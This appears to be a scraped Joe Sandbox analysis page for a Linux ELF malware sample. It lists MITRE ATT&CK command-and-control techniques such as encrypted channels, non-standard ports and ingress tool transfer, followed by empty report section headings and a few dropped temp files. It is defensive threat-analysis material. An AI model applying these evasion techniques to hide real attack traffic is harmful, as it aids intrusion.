Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report faBNhIKHq4.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.NGQHZT (deleted)

/tmp/qemu-open.jOBQMS (deleted)

/tmp/qemu-open.rcMirJ (deleted)

/tmp/qemu-open.xwpK8U (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: faBNhIKHq4.elf PID: 6220, Parent PID: 6136

General

Chronological Activities

Analysis Process: faBNhIKHq4.elf PID: 6223, Parent PID: 6220

General

Chronological Activities

Analysis Process: faBNhIKHq4.elf PID: 6225, Parent PID: 6223

Linux Analysis Report
faBNhIKHq4.elf